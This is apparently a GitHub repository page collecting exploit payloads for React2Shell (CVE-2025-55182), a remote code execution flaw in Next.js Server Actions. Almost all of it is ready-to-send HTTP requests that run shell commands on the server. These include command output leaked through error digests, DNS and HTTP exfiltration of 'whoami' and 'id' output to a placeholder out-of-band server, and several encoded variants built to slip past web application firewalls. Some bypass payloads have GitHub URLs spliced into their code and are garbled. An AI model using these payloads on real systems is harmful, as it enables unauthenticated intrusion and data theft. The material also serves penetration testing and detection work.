REACT2SHELL (CVE-2025-55182)

React2Shell (CVE-2025-55182) is a critical remote code execution (RCE) vulnerability chain affecting Next.js applications that utilize Server Actions. The vulnerability exploits a prototype pollution vulnerability in combination with Server Actions to achieve unauthenticated arbitrary code execution on the server.

This repository is dedicated to sharing React2Shell payloads & bypasses. PRs/contributions are always welcome!

PoC

Resources

Below are additional resources you might find useful:

React2Shell scanner by Assetnote: https://github.com/assetnote/react2shell-scanner
Nuclei template: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-55182.yaml

Payloads

Original proof of concept

All credits go to @maple3142 for the initial proof of concept disclosure which can be found in this GitHub Gist:

POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Full RCE with output via error message (digest field)

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

PoC

Trigger an external DNS query

Replace <OAST_SERVER> with your OAST server hostname.

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('nslookup <OAST_SERVER>');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

DNS Exfiltration

Replace <OAST_SERVER> with your OAST server hostname.

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('nslookup `whoami`.<OAST_SERVER>');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

HTTP Exfiltration

Replace <OAST_SERVER> with your OAST server hostname.

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('wget http://<OAST_SERVER>/?e=$`id`');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

Trigger time delay

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('sleep 10');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

Bypass WAFs with String Concatenation & Encoding

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: m9x4k7p2
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
X-Nextjs-Html-Request-Id: R8tY5uI2oP6aS3dF
Content-Length: 750

------WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var c='child'+'_'+'pro'+'cess';var e='exec'+'Sync';var cp=process['main'+'Module']['require'](https://github.com/aseemyash/krle/blob/HEAD/c);var cmd='who'+'ami';var res=cp[e](https://github.com/aseemyash/krle/blob/HEAD/cmd)['to'+'String']();throw Object['assign'](new Error('NEXT'+'_'+'REDIRECT'),{digest:res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryD5fG8hJ3kL6mN9pQ--

Bypass WAFs with Unicode Escaping & Template Literals

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: q8w2e5r7
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH9jK2mP5qR8vX3zC
X-Nextjs-Html-Request-Id: L4kJ7hG9fD2sA6zX
Content-Length: 780

------WebKitFormBoundaryH9jK2mP5qR8vX3zC
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var a=process[`main${''}Module`][`req${''}uire`](https://github.com/aseemyash/krle/blob/HEAD/%60child$%7B%27_%27%7Dprocess%60);var b=a[`exe${''}cSync`](https://github.com/aseemyash/krle/blob/HEAD/%60who$%7B%27%27%7Dami%60);var c=b[`toS${''}tring`]();throw Object[`ass${''}ign`](new Error(`NEXT${'_'}REDIRECT`),{digest:c});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryH9jK2mP5qR8vX3zC
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryH9jK2mP5qR8vX3zC
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryH9jK2mP5qR8vX3zC--

Bypass WAFs with Base64 encoded payload

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: z5x8c3v6
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryP6oI9uY2tR5eW8qA
X-Nextjs-Html-Request-Id: M3nB6vC9xZ4wE7rT
Content-Length: 820

------WebKitFormBoundaryP6oI9uY2tR5eW8qA
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var B=Buffer['from'];var s=B('Y2hpbGRfcHJvY2Vzcw==','base64')['toString']();var cp=process['mainModule']['require'](https://github.com/aseemyash/krle/blob/HEAD/s);var cmd=B('aWQ=','base64')['toString']();var res=cp['execSync'](https://github.com/aseemyash/krle/blob/HEAD/cmd)['toString']();throw Object['assign'](new Error(B('TkVYVF9SRURJUkVDVA==','base64')['toString']()),{digest:res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryP6oI9uY2tR5eW8qA
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryP6oI9uY2tR5eW8qA
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryP6oI9uY2tR5eW8qA--

WAF Bypass via full unicode encoding

Credits go to @pyn3rd

POST / HTTP/1.1
Host: localhost
Next-Action: x
X-Nextjs-Request-Id: b5dce965
X-Next-Html-Request-Id: abe3
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZ8VskeuqzXXMdwxw
Content-Length: 2349

------WebKitFormBoundaryZ8VskeuqzXXMdwxw
Content-Disposition: form-data; name="0"

{
  "\u0074\u0068\u0065\u006e":
    "\u0024\u0031\u003a\u005f\u005f\u0070\u0072\u006f\u0074\u006f\u005f\u005f\u003a\u0074\u0068\u0065\u006e",
  "\u0073\u0074\u0061\u0074\u0075\u0073":
    "\u0072\u0065\u0073\u006f\u006c\u0076\u0065\u0064\u005f\u006d\u006f\u0064\u0065\u006c",
    "\u0076\u0061\u006c\u0075\u0065": {
      "\u0076\u0061\u006c\u0075\u0065":
        "\u0076\u0022\u0074\u006d\u0069\u006e\u0065\u0022\u003a\u0022\u0024\u0042\u0031\u0033\u0033\u0037\u0022\u007d",
      "\u005f\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u0065": {
        "\u005f\u0070\u0072\u0065\u0066\u0069\u0078\u0078":
          "\u0076\u0061\u0072\u0020\u0072\u0065\u0073\u003d\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u002e\u0072\u0075\u006e\u0028\u0027\u0063\u0068\u0069\u006c\u0064\u005f\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u0027\u002c\u005b\u0027\u0063\u0061\u0074\u0020\u002f\u0065\u0074\u0063\u002f\u0070\u0061\u0073\u0073\u0077\u0064\u0027\u005d\u002c\u007b\u0027\u0065\u006e\u0063\u006f\u0064\u0069\u006e\u0067\u0027\u003a\u0027\u0075\u0074\u0066\u0038\u0027\u007d\u0029\u003b\u0072\u0065\u0073\u003d\u0072\u0065\u0073\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0029\u002e\u0074\u0072\u0069\u006d\u0028\u0029\u003b\u0072\u0065\u0073\u003d\u0042\u0031\u0033\u0033\u0037\u002b\u0072\u0065\u0073\u003b\u0072\u0065\u0073\u002b\u003d\u0042\u0031\u0033\u0033\u0037",
        "\u006f\u0070\u0074\u0069\u006f\u006e\u0073\u006e\u0065\u003f\u0061\u003d\u0024\u007b\u0072\u0065\u0073\u007d\u003b\u0033\u0030\u0037\u003b\u0060\u007d\u0029\u003b",
        "\u005f\u0063\u0068\u0075\u006e\u006b\u0073": "\u0024\u0051\u0032",
        "\u005f\u0063\u0075\u0072\u0072\u0065\u006e\u0074\u0049\u006e\u0064\u0065\u0078": {
          "\u0024\u0031\u003a\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072\u003a\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072":
            "\u0024\u0031\u003a\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072"
        }
      }
  }
}
------WebKitFormBoundaryZ8VskeuqzXXMdwxw--

krle

Most Popular

REACT2SHELL (CVE-2025-55182)

Resources

Payloads

Original proof of concept

Full RCE with output via error message (digest field)

Trigger an external DNS query

DNS Exfiltration

HTTP Exfiltration

Trigger time delay

Bypass WAFs with String Concatenation & Encoding

Bypass WAFs with Unicode Escaping & Template Literals

Bypass WAFs with Base64 encoded payload

WAF Bypass via full unicode encoding